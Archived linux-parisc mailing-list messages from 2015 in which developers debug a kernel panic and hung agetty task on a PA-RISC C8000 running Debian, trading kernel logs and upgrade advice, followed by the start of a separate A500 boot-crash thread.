 Icedove/38.1.0
In-Reply-To: <55D0313E.3090602@gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25962
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25962>


Further to this, if I boot single user I can get a shell, then <Ctrl-D> to
continue booting, whereupon the same panic may occur.

I'm unsure if this is related, but I noticed I can reliably trigger a system
freeze when changing runlevels. The system no longer responds to ping.
The sequence of events is (starting in runlevel 5):

root@wills:~# telinit 1
[ 604.336000] systemd-journald[169]: Received request to flush runtime journal from PID 1
Welcome to rescuGive root password for maintenance
(or type Control-D to continue):
root@wills:~# telinit 5
Hangup
root@wills:~# 
[ 610.908000] systemd-journald[169]: Received request to flush runtime journal from PID 1

root@wills:~#
Debian GNU/Linux stretch/sid wills ttyS0

wills login:


### At this point I have both a shell and a login prompt vying for input,
### pressing <Ctrl-D> in an attempt to exit the shell produces the freeze.

[  848.108000] INFO: task agetty:592 blocked for more than 120 seconds.
[  848.184000]       Not tainted 4.1.0-1-parisc64-smp #1
[  848.244000] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
[  848.336000] agetty          D 00000000401630c0     0   592      1 0x00000110
[  848.420000] Backtrace:
[  848.448000]  [<000000004016c9b8>] __schedule+0x2a8/0x750
[  848.512000]  [<000000004016cea8>] schedule+0x48/0xc8
[  848.572000]  [<00000000401704a4>] schedule_timeout+0x1d4/0x240
[  848.644000]  [<000000004017106c>] ldsem_down_write+0x164/0x2d0
[  848.712000]  [<0000000040171b2c>] tty_ldisc_lock+0x2c/0xa8
[  848.780000]  [<00000000404e1e94>] tty_ldisc_hangup+0x12c/0x2e8
[  848.848000]  [<00000000404d6390>] __tty_hangup+0x498/0x680
[  848.916000]  [<00000000404d6c1c>] disassociate_ctty+0x94/0x420
[  848.984000]  [<00000000401a217c>] do_exit+0x99c/0xd18
[  849.044000]  [<00000000401a25b0>] do_group_exit+0x50/0xf0
[  849.108000]  [<00000000401a2670>] SyS_exit_group+0x20/0x28
[  849.176000]  [<0000000040164fc0>] syscall_exit+0x0/0x14
[  849.240000]
[  969.256000] INFO: task agetty:592 blocked for more than 120 seconds.
[  969.332000]       Not tainted 4.1.0-1-parisc64-smp #1
[  969.392000] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
[  969.484000] agetty          D 00000000401630c0     0   592      1 0x00000110
[  969.568000] Backtrace:
[  969.596000]  [<000000004016c9b8>] __schedule+0x2a8/0x750
[  969.660000]  [<000000004016cea8>] schedule+0x48/0xc8
[  969.720000]  [<00000000401704a4>] schedule_timeout+0x1d4/0x240
[  969.792000]  [<000000004017106c>] ldsem_down_write+0x164/0x2d0
[  969.860000]  [<0000000040171b2c>] tty_ldisc_lock+0x2c/0xa8
[  969.928000]  [<00000000404e1e94>] tty_ldisc_hangup+0x12c/0x2e8
[  969.996000]  [<00000000404d6390>] __tty_hangup+0x498/0x680
[  970.064000]  [<00000000404d6c1c>] disassociate_ctty+0x94/0x420
[  970.132000]  [<00000000401a217c>] do_exit+0x99c/0xd18
[  970.192000]  [<00000000401a25b0>] do_group_exit+0x50/0xf0
[  970.256000]  [<00000000401a2670>] SyS_exit_group+0x20/0x28
[  970.324000]  [<0000000040164fc0>] syscall_exit+0x0/0x14
[  970.384000]

On 16/08/15 16:14, Graham Gower wrote:
> Hi,
> 
> I'm seeing the panic below on a c8000. It happens sometimes when booting, just
> before the login prompt is to appear. I've seen it with older kernels too, going
> back to at least 3.19.
> 
> -Graham
> 
> 
> [   62.596000] Backtrace:
> [   62.596000]  [<00000000401fdb60>] handle_percpu_irq+0xb0/0xf0
> [   62.596000]  [<00000000401f7894>] generic_handle_irq+0x4c/0x68
> [   62.596000]  [<0000000040177670>] execute_on_irq_stack+0x90/0xa8
> [   62.596000]  [<0000000040178574>] do_cpu_irq_mask+0x1ec/0x3e0
> [   62.596000]  [<0000000040164074>] intr_return+0x0/0xc
> [   62.596000]
> [   62.596000]
> [   62.596000] Bad Address (null pointer deref?): Code=26 regs=0000000042a0a070 (Addr=0000000000000000)
> [   62.596000] CPU: 0 PID: 444 Comm: (agetty) Not tainted 4.1.0-1-parisc64-smp #1 Debian 4.1.3-1
> [   62.596000] task: 000000007a9a7538 ti: 000000007dc38000 task.ti: 000000007dc38000
> [   62.596000]
> [   62.596000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> [   62.596000] PSW: 00001000000001001111111100001110 Not tainted
> [   62.596000] r00-03  000000ff0804ff0e 00000000408b8f30 00000000401fdb60 0000000042a09f80
> [   62.596000] r04-07  000000004089ff30 0000000000000000 0000000000000000 0000000000000000
> [   62.596000] r08-11  0000000042a0a040 000000000000004c 0000000040932d40 000000000000004c
> [   62.596000] r12-15  000000000000004c 0000000000000001 00000000408d4f30 0000000000000001
> [   62.596000] r16-19  00000000408b8f30 00000000408b8f30 0000000000000202 00000000028b3000
> [   62.596000] r20-23  0000000042a0d020 bff7ffffffffffff 0000000040948420 fffc000000000000
> [   62.596000] r24-27  0000000042a099d0 0000000000000000 0000000040932d40 000000004089ff30
> [   62.596000] r28-31  0008000000000000 0000000042a09f50 0000000042a0a070 bff4000000000000
> [   62.596000] sr00-03  000000000013f800 0000000000000000 0000000000000000 000000000013b000
> [   62.596000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> [   62.596000]
> [   62.596000] IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000401f861c 00000000401f8620
> [   62.596000]  IIR: 0ca010dc    ISR: 0000000000000000  IOR: 0000000000000000
> [   62.596000]  CPU:        0   CR30: 000000007dc38000 CR31: ffffffffdbfeffff
> [   62.596000]  ORIG_R28: 0000000040948420
> [   62.596000]  IAOQ[0]: handle_irq_event_percpu+0x8c/0x250
> [   62.596000]  IAOQ[1]: handle_irq_event_percpu+0x90/0x250
> [   62.596000]  RP(r2): handle_percpu_irq+0xb0/0xf0
> [   62.596000] Backtrace:
> [   62.596000]  [<00000000401fdb60>] handle_percpu_irq+0xb0/0xf0
> [   62.596000]  [<00000000401f7894>] generic_handle_irq+0x4c/0x68
> [   62.596000]  [<0000000040177670>] execute_on_irq_stack+0x90/0xa8
> [   62.596000]  [<0000000040178574>] do_cpu_irq_mask+0x1ec/0x3e0
> [   62.596000]  [<0000000040164074>] intr_return+0x0/0xc
> [   62.596000]
> <Cpu0> 0300109100e00000  0000000000000000  CC_PROCS_ENTRY_OUT
> [   62.596000] Kernel panic - not syncing: Bad Address (null pointer deref?)
> <Cpu0> 78000c6200e00000  a0e008c01100b009  CC_PAT_ENCODED_FIELD_WARNING
> <Cpu0> 76000c6800e00000  0000000000000520  CC_PAT_DATA_FIELD_WARNING
> <Cpu0> 0300109100e00000  0000000000000000  CC_PROCS_ENTRY_OUT
> [   62.596000] ---[ end Kernel panic - not syncing: Bad Address (null pointer deref?)
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: bad address in handle_percpu_irq
Date: Sun, 16 Aug 2015 21:20:53 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <55D0E295.2070000@gmx.de>
References: <55D0313E.3090602@gmail.com> <55D06863.1090506@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1439752877 10860 80.91.229.3 (16 Aug 2015 19:21:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 16 Aug 2015 19:21:17 +0000 (UTC)
To: Graham Gower <graham.gower@gmail.com>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 16 21:21:04 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZR3UI-0005qa-PQ
	for glpp-linux-parisc@plane.gmane.org; Sun, 16 Aug 2015 21:20:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751002AbbHPTU6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 16 Aug 2015 15:20:58 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:59544 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750864AbbHPTU5 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 16 Aug 2015 15:20:57 -0400
Original-Received: from [192.168.20.60] ([92.203.42.71]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0McVKy-1Z9O6x1iyG-00HcUv; Sun, 16 Aug 2015 21:20:55
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <55D06863.1090506@gmail.com>
X-Provags-ID: V03:K0:2522SWsE7iG/FCY8KPfMTHaiKKkdZ8+9Hy79GUXnYn4eb84puoE
 MaA6gEpWF3q3B/RqIC3sczFPxtLsSO/uu/tlNkRCVelZ7FZT/Yi6FxmPmVrc/w57YZ/UftN
 E2+Wx0BG/Hfix1z8TPAJU/RTTqLBgC8ZvheqSRxHZHbLxDEKjIJYKDrpuUegJQe6uPSdmYs
 r9zPXe36HnxbzVrV+roQw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:XBjYIaN/JPA=:jqOTO/8NKSBd0Afrysql8Y
 Y7NurzVD6aRJWKUffEPTdoHuWn0XiJsnoXnI1ndy5WP4sL6Dc92tN1iAek0PRT5iTuGibezeF
 wrCDK++4+/J8JrONaSu47X1t74LQYK6AJJ+Jfi+9fdsiTmuyEcEoj9HoPhEFgQdO/NSg4w+0u
 sZeQ7mkFsRPlOj8x+5gxAn+XL7543MEiuNHMJK+WWTwbbKNoNB4XeL2EPMjcSKIpglVnqkrs1
 ac67W58oTpzA/ribj9wy/06plpHcmCxsqrvW0cbGdSEo+9F5lWNGQ1c8cPzT8ke0T//d79Dx9
 DGvQ8Hrex+QYSmWAzlCBVmHq4sdvUZbG5DxrgSiiameRAnEOEqCWDLD3BsE5NHJd1CpPN/gfY
 tvksVw7jppRW9AXsGaRGtJn6rKOL9IfAcJIbyBNNA3JnlgQEla/HKJQDdSITED9rGBr8znnXF
 iNrCjVgeW5U9XzplMe/Tyjce2oOd3BCN1b/my7wpGaav7L+DGr94FuL9IBcitxa06fJI7H6aa
 kyRA7kAeYOD9Xvy5EoeUuGENC96n6uF7j0B1oDk3eqkepKJgamBJK7zaJUVrYRAYlHtRmwtyy
 yAGZLsHi5Fna1UvPwPijWLzucj73dOKPVWORIPIyb2SaLRQBDVbUY2EILt90aqV60WuybvNdj
 czCWZdr8vKzJl9A7PbO/tlhXE1tKmd5yAdhXp8nDnBXNrkxH24AwHyrjG5PdJx5BNjXmIvzJu
 zxD3tDnILzNId3bgEtRt/9v5PIpETuluxenYxA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25963
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25963>

Hi Graham,

On 16.08.2015 12:39, Graham Gower wrote:
>> I'm seeing the panic below on a c8000. It happens sometimes when booting, just
>> before the login prompt is to appear. I've seen it with older kernels too, going
>> back to at least 3.19.

I have never seen such problems on the c8000...

>> [62.596000  <tel:62596000>] CPU: 0 PID: 444 Comm: (agetty) Not tainted 4.1.0-1-parisc64-smp #1 Debian 4.1.3-1

Do not use that kernel version, since it is missing at least this important patch:
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=4c4ac9a48ac512c6b5a6cca06cfad2ad96e8caaa
I'm seeing that the next debian kernel 4.1.5-1 (which should have this patch) is currently being built and should finish by tomorrow:
http://buildd.debian-ports.org/status/package.php?p=linux&suite=sid

Our C8000 debian buildd server is currently running this kernel since 23 days:
4.0.0-2-parisc64-smp #1 SMP Debian 4.0.8-2 (2015-07-23) parisc64 GNU/Linux
Maybe you wait until tomorrow or try this kernel in the meantime ?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Graham Gower <graham.gower@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: bad address in handle_percpu_irq
Date: Mon, 17 Aug 2015 08:19:40 +0930
Lines: 43
Approved: news@gmane.org
Message-ID: <CAFk90B-eLz+wVavRA07SA6bVt1EUaFsWd6Xs8DsR_m73OD-kWg@mail.gmail.com>
References: <55D0313E.3090602@gmail.com>
	<55D06863.1090506@gmail.com>
	<55D0E295.2070000@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1439765395 24675 80.91.229.3 (16 Aug 2015 22:49:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 16 Aug 2015 22:49:55 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 17 00:49:48 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZR6kL-0007ov-Rn
	for glpp-linux-parisc@plane.gmane.org; Mon, 17 Aug 2015 00:49:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751312AbbHPWtm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 16 Aug 2015 18:49:42 -0400
Original-Received: from mail-wi0-f169.google.com ([209.85.212.169]:38544 "EHLO
	mail-wi0-f169.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751307AbbHPWtl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 16 Aug 2015 18:49:41 -0400
Original-Received: by wicja10 with SMTP id ja10so66224075wic.1
        for <linux-parisc@vger.kernel.org>; Sun, 16 Aug 2015 15:49:40 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=P186xfW3gOgLS+FLJng7rDkYlK9/DS5v4kKLr/SgtLo=;
        b=JNHNTBzr/+RA/2RXNt6MmUVUUVGYm5D4Y+dhRWskjWAGlFcMAyKZekHzK/odi44L1Y
         LWgm+yUhPIq/12g/zhXwLiiJWSZrBY+HYNGAa5l941CAahH6XR/LS4FpjUC7hDrS584j
         tceQ48UDhu9545tujxvTJs60Y2UEszrsC2qxykCnB0t0UXo0Zr7U483yzlJhoIX9+O44
         WBORV4I9A+3h5BLQC+rE/vcD4JotrPNpgQ8AtEkz2InV0C9GflW0AnYzw4+nG2fpaJAE
         JhMhlzvEcCnAe2NabUWAFNhwMCqK3Zgj0f5qHa5ihlGLP8zQkoqPEwKC4AwU2I3Xy29o
         dluA==
X-Received: by 10.194.108.232 with SMTP id hn8mr22472874wjb.154.1439765380130;
 Sun, 16 Aug 2015 15:49:40 -0700 (PDT)
Original-Received: by 10.28.24.16 with HTTP; Sun, 16 Aug 2015 15:49:40 -0700 (PDT)
In-Reply-To: <55D0E295.2070000@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25964
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25964>

Thanks Helge,

I am building 4.2-rc6, but I don't expect the handle_percpu_irq
problem to go away.

-Graham

On 17 August 2015 at 04:50, Helge Deller <deller@gmx.de> wrote:
> Hi Graham,
>
> On 16.08.2015 12:39, Graham Gower wrote:
>>>
>>> I'm seeing the panic below on a c8000. It happens sometimes when booting,
>>> just
>>> before the login prompt is to appear. I've seen it with older kernels
>>> too, going
>>> back to at least 3.19.
>
>
> I have never seen such problems on the c8000...
>
>>> [62.596000  <tel:62596000>] CPU: 0 PID: 444 Comm: (agetty) Not tainted
>>> 4.1.0-1-parisc64-smp #1 Debian 4.1.3-1
>
>
> Do not use that kernel version, since it is missing at least this important
> patch:
> http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=4c4ac9a48ac512c6b5a6cca06cfad2ad96e8caaa
> I'm seeing that the next debian kernel 4.1.5-1 (which should have this
> patch) is currently being built and should finish by tomorrow:
> http://buildd.debian-ports.org/status/package.php?p=linux&suite=sid
>
> Our C8000 debian buildd server is currently running this kernel since 23
> days:
> 4.0.0-2-parisc64-smp #1 SMP Debian 4.0.8-2 (2015-07-23) parisc64 GNU/Linux
> Maybe you wait until tomorrow or try this kernel in the meantime ?
>
> Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Graham Gower <graham.gower@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: bad address in handle_percpu_irq
Date: Mon, 17 Aug 2015 22:25:59 +0930
Lines: 49
Approved: news@gmane.org
Message-ID: <CAFk90B_v5A-S-5gofZ7tSO=wkb9LF860LLX5OH9vkNzV9igGyA@mail.gmail.com>
References: <55D0313E.3090602@gmail.com>
	<55D06863.1090506@gmail.com>
	<55D0E295.2070000@gmx.de>
	<CAFk90B-eLz+wVavRA07SA6bVt1EUaFsWd6Xs8DsR_m73OD-kWg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1439816172 20064 80.91.229.3 (17 Aug 2015 12:56:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 17 Aug 2015 12:56:12 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 17 14:56:04 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZRJxJ-0005JL-Qp
	for glpp-linux-parisc@plane.gmane.org; Mon, 17 Aug 2015 14:56:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754631AbbHQM4A (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Aug 2015 08:56:00 -0400
Original-Received: from mail-ob0-f180.google.com ([209.85.214.180]:32871 "EHLO
	mail-ob0-f180.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751673AbbHQM4A (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Aug 2015 08:56:00 -0400
Original-Received: by obbhe7 with SMTP id he7so111166112obb.0
        for <linux-parisc@vger.kernel.org>; Mon, 17 Aug 2015 05:55:59 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=xsm6X97FBUqG1SxogEuwE6EktIZk9ikUqZ2V8nwmULE=;
        b=UwEi4FLDi/WNuqNJ6qxcfatEaCv+vdtsgs5U+969+pg9tsb2xpE7xNHLPwRWQ7nD+Q
         rQQ6UkH42eP1dZwibFXC4plz4CJPnJKgCRzYogOV8a6xWySwEM21jayTdA5ReO8rK7YW
         t+9m7YeD50NlVIk2fp6sBqqN+NWbS36zGZQM9fgh+l+2Z16X/xDglk34SJ8MzpykdzJZ
         mkvC1bh85QbRx12M4un2tEP5r2c2ujyrS//5h367HC0qN3GCL9CimuxF14dyuxdTCXUH
         9XhDM0u87HS/nb69T+wmlDr7aDBAP5zrndOgyVknIfkeNsRSggrqtgeTUmZILEm8xmcV
         +onQ==
X-Received: by 10.60.54.1 with SMTP id f1mr1120366oep.68.1439816159693; Mon,
 17 Aug 2015 05:55:59 -0700 (PDT)
Original-Received: by 10.202.208.72 with HTTP; Mon, 17 Aug 2015 05:55:59 -0700 (PDT)
In-Reply-To: <CAFk90B-eLz+wVavRA07SA6bVt1EUaFsWd6Xs8DsR_m73OD-kWg@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25965
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25965>

Disabling systemd appears to mitigate this issue. I was getting the
panic most boots, now I haven't seen one in since switching back to
sysvinit.


On 17 August 2015 at 08:19, Graham Gower <graham.gower@gmail.com> wrote:
> Thanks Helge,
>
> I am building 4.2-rc6, but I don't expect the handle_percpu_irq
> problem to go away.
>
> -Graham
>
> On 17 August 2015 at 04:50, Helge Deller <deller@gmx.de> wrote:
>> Hi Graham,
>>
>> On 16.08.2015 12:39, Graham Gower wrote:
>>>>
>>>> I'm seeing the panic below on a c8000. It happens sometimes when booting,
>>>> just
>>>> before the login prompt is to appear. I've seen it with older kernels
>>>> too, going
>>>> back to at least 3.19.
>>
>>
>> I have never seen such problems on the c8000...
>>
>>>> [62.596000  <tel:62596000>] CPU: 0 PID: 444 Comm: (agetty) Not tainted
>>>> 4.1.0-1-parisc64-smp #1 Debian 4.1.3-1
>>
>>
>> Do not use that kernel version, since it is missing at least this important
>> patch:
>> http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=4c4ac9a48ac512c6b5a6cca06cfad2ad96e8caaa
>> I'm seeing that the next debian kernel 4.1.5-1 (which should have this
>> patch) is currently being built and should finish by tomorrow:
>> http://buildd.debian-ports.org/status/package.php?p=linux&suite=sid
>>
>> Our C8000 debian buildd server is currently running this kernel since 23
>> days:
>> 4.0.0-2-parisc64-smp #1 SMP Debian 4.0.8-2 (2015-07-23) parisc64 GNU/Linux
>> Maybe you wait until tomorrow or try this kernel in the meantime ?
>>
>> Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Aw: A500 boot crash in 4.2.0-rc3-00246-g763e326
Date: Mon, 17 Aug 2015 16:06:21 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <trinity-122a736f-3aac-4830-afc5-2abcd91792ea-1439820380917@3capp-gmx-bs71>
References: <alpine.LRH.2.11.1507260929000.30065@math.ut.ee>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1439820399 27470 80.91.229.3 (17 Aug 2015 14:06:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 17 Aug 2015 14:06:39 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: "Meelis Roos" <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 17 16:06:31 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZRL3V-0002EI-86
	for glpp-linux-parisc@plane.gmane.org; Mon, 17 Aug 2015 16:06:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751325AbbHQOG2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Aug 2015 10:06:28 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:63613 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751083AbbHQOG1 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Aug 2015 10:06:27 -0400
Original-Received: from [155.56.68.214] by 3capp-gmx-bs71.server.lan (via HTTP); Mon,
 17 Aug 2015 16:06:21 +0200
Importance: normal
Sensitivity: Normal
In-Reply-To: <alpine.LRH.2.11.1507260929000.30065@math.ut.ee>
X-UI-Message-Type: mail
X-Priority: 3
X-Provags-ID: V03:K0:qfsGc9GqCfPLxNEB5/0THFjDtpCR75hRdG2AIxK96vX
 L4oY8Pkrzid3wkUTB47LI4EGvP7YB5SXzaSE5Hf9TmSh+NVbVc
 4VJiHEIVpuN/Yv10zWqJfKdnpWJsfSZn+h3x7WuU9RROSXXv1P
 +oilpxc2w3xCuD4B9l+KsAz2J7huo+ppIH2j6w/Q7XfMi//EZk
 JuzmcKXgU+Km9ULoEgMJ12GDP/rPc5WYKS6HvOOTilmg81Hznj
 LoihpUZjTcE9dCwwAfui+qET4kTMUZQaxYaNTfy+YgcDuk1OyA 2nOJgo=
X-UI-Out-Filterresults: notjunk:1;V01:K0:61Th4WyYOVA=:tp7hUbaI+DEfBK1k3FpiUb
 UaKcABbn3+KMpVb1HrZ2B6jnYT2iFP7oL4KZD6qcYLIWBnmtGi+OCd8tiXvbGC5c8tmyodOLD
 idULQSjXFVkyjUWk5YxmiuVoUa9bWslqfbywcT7i0MBzgLE96DRlJolgkL2ZkzyPiTcEkpZp6
 7/Ta+jhZ/kZKnIAF50wPOoWP5oNV8Yh4pcEJriCobxuYi5C0foJ79NGCZMlHbnGygEKYm5dhN
 TKFOVmCamvnBIMRMLp81IHqcsIUm0bqaS7HZfJveiJcET9iTYqMihoz5NVesDR96A8WXq/0PO
 Ceo2lD5xjaVnFnK7fQ4WBxJsWLRg/U2WsHe99nJ7jT/ck41iXA/A5Nt45YclDl3/HRqxlLtvL
 lITWuF1oAcxHi6jhvxXw7YfYDsDZP9z2zb6FjHPDqFXqZU+LplaNPtPhKEpbFfcWE6lbxEGoG
 20sh/tusxg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25966
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25966>

> Tried 4.2.0-rc3-00246-g763e326 on A500 but it crashes on boot. This is 
> still present in todays 4.2.0-rc6+git. 4.1 was fine, I Will bisect but 
> it takes time.
> 
> PDC Stable Storage facility v0.30
> STI GSC/PCI core graphics driver Version 0.9b
> Serial: 8250/16550 driver, 4 ports, IRQ sharing disabled
> serial 0000:00:04.0: enabling device (0146 -> 0147)
> console [ttyS0] disabled
> 0000:00:04.0: ttyS0 at MMIO 0xfffffffff8000000 (irq = 21, base_baud = 115200) is a 16550A
> console [ttyS0] enabled
> console [ttyS0] enabled
> bootconsole [ttyB0] disabled
> bootconsole [ttyB0] disabled
> 0000:00:04.0: ttyS1 at MMIO 0xfffffffff8000008 (irq = 21, base_baud = 115200) is a 16550A
> 0000:00:04.0: ttyS2 at MMIO 0xfffffffff8000010 (irq = 21, base_baud = 115200) is a 16550A
> serial 0000:00:05.0: enabling device (0000 -> 0003)
> serial 0000:00:05.0: enabling SERR and PARITY (0003 -> 0143)
> 0000:00:05.0: ttyS3 at MMIO 0xfffffffff8003000 (irq = 22, base_baud = 115200) is a 16550A
> serial 0000:00:05.0: Couldn't register serial port 0, irq 22, type 2, error -28
> sym53c8xx 0000:00:01.0: enabling device (0000 -> 0003)
> sym53c8xx 0000:00:01.0: enabling SERR and PARITY (0003 -> 0143)

I'm seeing the same problem on my rp5470 with Kernel 4.2-rc7. My machine just hangs though and doesn't crash.
The same kernel runs fine on a J5000:

[   14.100000] sym0: <896> rev 0x4 at pci 0000:00:0f.0 irq 69
[   14.168000] sym0: PA-RISC Firmware, ID 7, Fast-40, SE, parity checking
[   14.248000] sym0: SCSI BUS has been reset.
[   14.304000] sym0: SCSI BUS mode change from SE to SE.
[   14.304000] sym0: SCSI BUS has been reset.
